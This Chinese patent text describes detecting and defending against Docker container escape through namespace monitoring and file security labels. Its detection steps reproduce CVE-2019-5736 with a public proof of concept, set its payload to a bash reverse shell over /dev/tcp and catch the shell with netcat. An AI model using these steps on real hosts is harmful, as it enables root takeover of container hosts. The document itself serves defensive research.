1.本发明涉及一种智能物联终端容器逃逸攻击检测和防御方法,属于智能物联终端容器安全技术领域。
背景技术:
2.随着计算机技术的飞速发展,计算机应用程序的规模也越来越庞大,开发一个应用程序所花费的时间也越来越多,将应用程序部署到其他环境的难度越来越大,而虚拟化技术容器的出现则很好解决了这个问题。虚拟化技术是实现硬件基础设施资源充分利用、合理分配和有效调度的重要技术手段,传统虚拟化技术是以虚拟机作为管理单元,各虚拟机拥有独立的操作系统内核,而不共用宿主机的软件系统资源,在一台物理服务器上即可安装多个应用程序,应用之间具有良好的隔离性。容器技术本质上属于虚拟化技术的一种,但与传统的虚拟化技术又有很大区别。
3.智能物联终端容器技术是一个开源的轻量级虚拟化技术,它将应用程序和应用运行时必要的执行环境打包成容器镜像,使应用程序可以直接在宿主机中相对独立地运行,解决了应用环境部署、依赖等问题。容器技术属于操作系统级别的虚拟化技术,并不模拟硬件,而是在特定操作系统内核的支持下对宿主机资源进行隔离、分配和管理,可以在宿主机内核上运行多个虚拟化环境,进而形成相对独立的容器。容器技术的出现,消除了编译、打包和部署、运维之间的鸿沟,解决了开发人员与运维人员之间的协作关系,提高了应用交付速度。每个容器都可以看作独立的操作系统,从而使系统架构更加简单有效,存储和内存需求更小,虚拟化更加便捷,显著提高了资源利用率。
4.docker是目前最具代表性的容器平台之一,它模糊了传统的iaas和paas的边界,具有持续部署和测试、跨云平台支持等优点。随着容器技术的持续升温,容器化的行业越来越多,容器安全的重要性也在不断提高。容器不具有独立的资源配置,并且没有做到操作系统内核层面的隔离,因此可能存在资源隔离不彻底与资源限制不到位所导致的安全风险,攻击者可以通过对宿主机内核进行攻击而达到攻击其中容器的目的。此外,攻击者还可能利用宿主机内核存在的漏洞对容器进行攻击,造成容器逃逸,使容器获得更高权限,实现对宿主机和宿主机上其他容器的访问。
5.综上所述,随着计算机技术的不断发展,传统的虚拟化技术在部署和运行规模庞大的应用程序时耗时耗力,已满足不了当前的技术要求,而轻量级虚拟化容器技术,已经成为当下主流。容器占用更少的系统资源,能够快速部署应用环境,应用迁移和扩展也十分便捷。但是随着容器化的行业越来越多,容器受到的安全威胁也越来越多,这要求我们时刻关注容器的运行环境,检测容器服务暴露情况,及时发现容器安全漏洞,避免容器遭到攻击者入侵,引发容器逃逸。
技术实现要素:
6.本发明提供一种智能物联终端容器逃逸攻击检测和防御方法。容器逃逸攻击检测
方法是通过容器存在的安全漏洞对容器进行攻击,检测容器是否出现容器逃逸,容器逃逸攻击的防御方案是基于进程所属namespace状态监测的防御方案。
7.为解决上述技术问题,本发明所采用的技术方案如下:
8.一种智能物联终端容器逃逸攻击检测和防御方法,包括如下步骤:
9.1)模拟攻击者利用内核漏洞对宿主机发起攻击,造成容器逃逸;
10.2)根据进程所属的namespace来判断该进程是否属于容器内进程,之后将容器内进程的访问限制在该容器内,禁止访问其他容器以及宿主机文件。
11.由于容器与宿主机共享操作系统内核,更容易受到容器逃逸的安全风险,攻击者可以通过对宿主机内核进行攻击而达到攻击其他容器的目的,甚至攻击者还可能利用宿主机内核存在的漏洞对容器进行攻击,造成容器逃逸现象。
12.本发明模拟攻击者对智能物联终端容器进行攻击,时刻关注容器的运行环境,检测容器是否发生逃逸攻击现象,分析容器面临的安全威胁,提出容器逃逸攻击防御方案,避免容器遭受外部攻击,保障服务器安全稳定运行。
13.docker容器逃逸问题的出现的原因在于容器与宿主机共享内核,内核通过namespace和cgroup机制隔离容器与宿主机,但是在内核层面的隔离性不足。这使得攻击者在容器内运行一些针对内核漏洞的恶意代码会导致整个宿主机崩溃,甚至提升用户特权获得root权限进而逃逸至宿主机获取完全控制权限,实现对宿主机或宿主机上其他容器的访问。
14.namespaces机制是linux内核的一种机制,为了保证容器进程之间的资源隔离,避免相互影响,namespaces机制提供了uts、user、mount、network、pid、ipc等命名空间实现了主机名、用户权限、文件系统、网络、进程号、进程间通信等六种资源隔离功能,但是内核对namespaces的隔离仍然不够。
15.cgroup机制是linux内核的一种机制,可以实现对任务组使用的物理资源进行限制和记录,通过多种度量标准为各个容器相对公平地分配资源,防止资源滥用。cgroup提供了资源限制、优先级分配、资源统计、任务控制四个功能,可分别实现块设备输入/输出限制、cpu使用控制、生成cpu资源使用情况报告、内存使用量限制等功能。
16.步骤1)中,容器逃逸攻击检测:
17.容器逃逸攻击指的是容器利用宿主机内核漏洞,“逃逸”出自身所拥有的权限,实现了对宿主机和宿主机上其他容器的访问。在容器逃逸案例中,较为知名的安全漏洞有runc容器逃逸漏洞(cve-2019-5736),攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
18.为了检测容器逃逸现象的发生,通过模拟攻击者利用内核漏洞对宿主机发起攻击,造成容器逃逸,包括如下步骤:
19.(1.1)检测容器docker的版本和runc的版本,确保docker版本《18.09.2,runc版本《1.0-rc6;
20.(1.2)下载cve-2019-5736的脚本,修改main.go文件中payload,编译执行main.go文件,生成payload;
21.(1.3)运行一个docker容器,将生成的main.go文件拷贝到docker容器中,并进入
容器,修改main.go文件权限,执行payload;
22.(1.4)在宿主机上通过nc-lvp命令监听本地端口,当管理员通过exec进入容器时会触发payload,此时宿主机上可以获取发生逃逸现象的容器的信息。
23.步骤2)中,容器逃逸攻击防御:
24.在上述部分模拟了攻击者利用cve-2019-5736漏洞,从容器内逃逸至宿主机并获取完全控制权限,最终发起一个本地或远程的shell控制台。根据namespace的特性,当攻击者从容器逃逸至宿主机后并发起另一个shell控制台,此时该进程属于容器进程的子进程,但其所属的namespace已经脱离容器限制,属于宿主进程的namespace。基于此,本发明提出一种基于进程所属namespace逃逸攻击监控的防御方案,根据进程所属的namespace来判断该进程是否属于容器内进程,之后将容器内进程的访问限制在该容器内,禁止访问其他容器以及宿主机文件。具体方法为:
25.(2.1)获取进程信息。通过命令获取当前运行容器的信息,获取每个容器namespace下进程id(pid)为1的进程,以及该进程派生出的容器内进程的pid和对应的namespcae状态标识(nsid),获取宿主机初始化进程的namespace标识。获取docker的安装目录、宿主机受访问限制文件的路径以及容器可读写层镜像文件的具体路径,添加相应的安全标签。
26.(2.2)namespace逃逸攻击监控。第一、通过第一步获取的进程信息,对容器进行监控,将容器内进程的namespace和宿主机初始化进程的namespace进行对比,如果发现两者相同,则该容器内进程有可能属于异常进程,进一步判断容器内进程的名字是否属于会话shell相关的进程名,如果是则判断容器发生了逃逸攻击现象。第二、通过进程所属的容器id和目标文件中配置的安全标签中的容器id来标识目标文件,利用安全策略公式对其进行行为验证,以决定能否对目标文件进行读写。具体包括如下步骤:
27.2.2.1)识别进程,获得当前进程的来源,将获取到的命名空间与宿主机初始化进程的namespace相比,判断当前进程是否属于容器内进程,若不是则判定为异常进程,如果当前进程属于容器内进程,则执行下一步;
28.2.2.2)识别目标文件并获取当前目标文件的安全标签信息:调用security_getfatrr()函数获取当前目录的扩展属性中的security属性,如果为空,则获取当前文件的父索引节点,并重复该操作,直到它到达根目录或获取某一级别目录的安全标签信息;
29.2.2.3)判断目标文件是否属于受访问限制的宿主机文件:如果是,操作将被拒绝,否则,将执行下一步;
30.2.2.4)判断目标文件是否属于容器的可读写层镜像文件,如果是,执行下一步;如果不是,则允许执行该操作;
31.2.2.5)判断当前进程和获取到的安全标签是否一致,如果是,则允许操作,否则拒绝操作请求。
32.(2.3)测试,创建测试容器,创建宿主机及其他容器的测试目录并设置安全标签,将文件以数据卷的方式挂载到被测试容器中,来模拟容器进程对其他容器镜像及宿主机文件的访问。具体包括如下步骤:
33.2.3.1)创建测试容器a、被访问容器b、对照容器c、宿主机测试目录d:/root/test,并创建测试文件hello,设置安全标签;
34.2.3.2)创建并运行被访问容器b,创建文件hellocontainer,并设置安全标签;
35.2.3.3)创建并运行测试容器a,将宿主机测试目录和被访问容器b的测试文件挂载到容器a中;
36.2.3.4)在容器a中分别cat容器b和宿主机中的测试文件;
37.2.3.5)在docker的原生环境中,创建容器c,并挂载没有设置安全标签的容器b及宿主机的测试文件,同样进行访问试验。
38.本发明未提及的技术均参照现有技术。
39.本发明智能物联终端容器逃逸攻击检测和防御方法,对运行容器进行逃逸攻击检测,检测容器运行环境,并提出一种针对容器逃逸攻击的防御方案,通过模拟攻击者对智能物联终端容器进行逃逸攻击,及时发现容器存在的安全问题,并在此基础上运用容器逃逸攻击防御方法,在一定程度上可以避免攻击者对容器发起逃逸攻击,保障服务器安全稳定的运行。
附图说明
40.图1为本发明智能物联终端容器逃逸攻击检测与防御方法示意图;
41.图2为本发明容器逃逸攻击检测流程图;
42.图3为本发明容器逃逸攻击防御流程图;
43.图4为实施例中查看宿主机ip地址截图;
44.图5为实施例中查看docker和runc版本截图;
45.图6为实施例中下载漏洞脚本并编译生成payload截图;
46.图7为实施例中将main文件拷贝到容器并执行截图;
47.图8为实施例中在宿主机端口成功获取反弹回的shell截图;
48.图9为实施例中docker进程树图截图;
49.图10为实施例中进程隔离截图;
具体实施方式
50.为了更好地理解本发明,下面结合实施例进一步阐明本发明的内容,但本发明的内容不仅仅局限于下面的实施例。
51.一种智能物联终端容器逃逸攻击检测和防御方法,包括如下步骤:
52.1)容器逃逸攻击检测:
53.在进行容器逃逸攻击检测实验之前,需要先配置好docker测试环境,只有在docker环境下,才能进行容器逃逸攻击检测实验。判断当前是否在docker环境下有两个较为常用的方法,一是通过输入ls-alh/.dockerenv命令,检查docker环境中根目录下/.dockerenv是否存在。二是输入cat/proc/1/cgroup命令,检查系统进程的/proc/1/cgroup内是否含有字符串docker。除此之外,其他检测方式可以用来辅助判断。此外还需要获取宿主机ip地址,在宿主机上输入ifconfig命令查看宿主机ip地址,如图4所示。
54.容器逃逸攻击检测实验具体操作步骤如下:
55.(1.1)没有docker环境的系统可以执行chmod 777install.sh&&./install.sh命令下载对应docker版本和runc版本。通过docker
–
version和docker-runc
–
version命令查
看当前版本,确保docker版本《18.09.2,runc版本《1.0-rc6。如图5所示。
56.(1.2)执行git clone https://github.com/frichetten/cve-2019-5736-poc命令下载cve-2019-5736漏洞脚本,在对应目录下执行vi main.go命令修改go文件,将payload内容修改为payload="#!/bin/bash\n bash-i》&/dev/tcp/宿主机ip 0》&1",执行gobuildmain.go命令编译生成payload。如图6所示。
57.(1.3)运行一个docker容器,执行sudo docker cp main容器id:/home将main文件拷贝到容器中,执行sudo docker exec-it容器id/bin/bash进入容器,cd进入home目录,输入chmod 777main修改main权限,输入./main命令执行payload。如图7所示。
58.(1.4)成功执行后,在宿主机命令端口输入nc-lvp 1234进行监听,当管理员通过exec命令进入容器时会触发payload,宿主机成功获取反弹回的shell。如图8所示。
59.2)容器逃逸攻击防御:
60.linux内核为所有的pid名空间维护了一个树状结构,通过pstree命令,可以以树状图的形式看到虚拟机中各进程之间的派生关系,如图9所示。宿主机初始化进程的namespace标识可以通过命令“ls-l/proc/1/ns”获取。docker的本质是一个进程,是由docker的父进程派生出来的,当创建一个docker容器的时候,就会新建一个pid名空间,容器启动进程在该名空间内pid为1。容器进程可以进一步派生出子进程,也就是容器内进程,容器内进程对应的namespace状态标识,可以通过命令“ls-l/proc/$pid/ns”获取。将容器内进程的namespace与初始化进程的namespace进行对比,若是两者相同,则有可能发生了容器逃逸,将其判定为异常进程。
61.定义容器内进程集合为p={p1,p2
…
pn},其中pi(1≤i≤n)表示容器进程i。定义磁盘文件集合为d={pd1,pd2
…
pdn,hf},其中pdi(1≤i≤n)表示容器pi的可读写层镜像文件,hf表示宿主机上受到访问限制的文件夹下的文件。定义visit(p
→
a)表示为进程p以读或写的方式能调用的文件的集合。根据要求制定如下安全策略:
62.策略1:
[0063][0064]
策略2:
[0065][0066]
策略3:
[0067][0068]
其中,策略1表示任意一个容器进程,它只能读写其自身的可读写层镜像文件。策略2表示对于任意一个容器进程,对其他容器的可读写层镜像文件都是不可读写的。策略3表示对于任何一个容器进程,对于宿主机下的受访问限制的文件都是不可读写的。
[0069]
当容器内进程要对某文件进行访问时,根据目标文件及容器id查看安全策略,若符合安全策略,则操作可进行,否则,拒绝该操作执行。
[0070]
本方案实现基于进程所属namespace逃逸攻击监控的防御,具体步骤为:
[0071]
(2.1)获取进程信息。通过dockerps命令可以查看当前运行容器的id、状态等信息,通过命令pgrepdocker-containe获取docker容器进程,通过pstree-p命令列举docker-containe及其派生进程,提取容器内进程的pid。对提取的每个进程,通过命令ls-l/proc/$
pid/ns命令获取进程对应的namespace状态标识和进程名(pname)。建立容器id与其对应pid及namespace状态标识的对应关系。通过命令“ls-l/proc/1/ns”获取宿主机初始化进程的namespace标识。
[0072]
从docker_env结构体中读取并遍历受访问限制的宿主机路径limited_syspath_list,调用security_setfatrr()函数给文件目录设置安全标签,将安全属性值设为system_limited。从imagepath_map中读取并遍历容器的可读写层镜像文件路径,给文件目录设置安全标签,将安全属性值设为image_{container_id}。
[0073]
(2.2)namespace逃逸攻击监控。通过第一步获取的进程信息,监听容器内进程及进程访问文件过程。具体步骤如下:
[0074]
2.2.1)识别进程,获得当前进程的来源。将获取到的命名空间与宿主机初始化进程的namespace相比,判断当前进程是否属于容器内进程,若不是则判定为异常进程,如果当前进程属于容器内进程,则执行下一步。
[0075]
2.2.2)识别目标文件并获取当前目标文件的安全标签信息。调用security_getfatrr()函数获取当前目录的扩展属性中的security属性。如果为空,则获取当前文件的父索引节点,并重复该操作,直到它到达根目录或获取某一级别目录的安全标签信息。
[0076]
2.2.3)判断目标文件是否属于受访问限制的宿主机文件。如果是,操作将被拒绝,否则,将执行下一步。
[0077]
2.2.4)判断目标文件是否属于容器的可读写层镜像文件。如果是,执行下一步;如果不是,则允许执行该操作。
[0078]
2.2.5)判断当前进程和获取到的安全标签是否一致。如果是,则允许操作,否则拒绝操作请求。
[0079]
(2.3)测试。创建测试容器,创建宿主机及其他容器的测试目录并设置安全标签,将文件以数据卷的方式挂载到被测试容器中,来模拟容器进程对其他容器镜像及宿主机文件的访问。具体的测试方案如下:
[0080]
2.3.1)创建测试容器a、被访问容器b、对照容器c、宿主机测试目录d:/root/test,并创建测试文件hello,设置安全标签。
[0081]
2.3.2)创建并运行被访问容器b,创建文件hellocontainer,并设置安全标签。
[0082]
2.3.3)创建并运行测试容器a,将宿主机测试目录和被访问容器b的测试文件挂载到容器a中。
[0083]
2.3.4)在容器a中分别cat容器b和宿主机中的测试文件。
[0084]
2.3.5)在docker的原生环境中,创建容器c,并挂载没有设置安全标签的容器b及宿主机的测试文件,同样进行访问试验。
[0085]
测试结果如图10所示。容器a不能访问宿主机中的文件和容器b中的文件,而容器c可以访问。通过测试,验证了本方案能够实现对容器内进程进行访问控制的目的,即容器进程无法访问宿主机受访问限制的文件,容器进程无法访问其他容器的可读写层镜像文件。
[0086]
经实验测试表明,此方案能够在不影响容器正常使用的情况下,对容器内进程行为进行访问控制,监测异常进程,实现进程资源隔离。该方案为一种基于进程的资源隔离方案,通过检查容器内进程的命名空间与宿主机初始化进程命名空间的一致性,来判断该进程是否为异常进程。与同类技术相比,制定了进程访问文件的安全策略,对于容器内进程,
进一步通过访问控制实现资源隔离,使得进程只能访问自身容器的可读写层镜像文件,不能对其他容器的可读写层镜像及宿主机受访问限制的文件进行访问。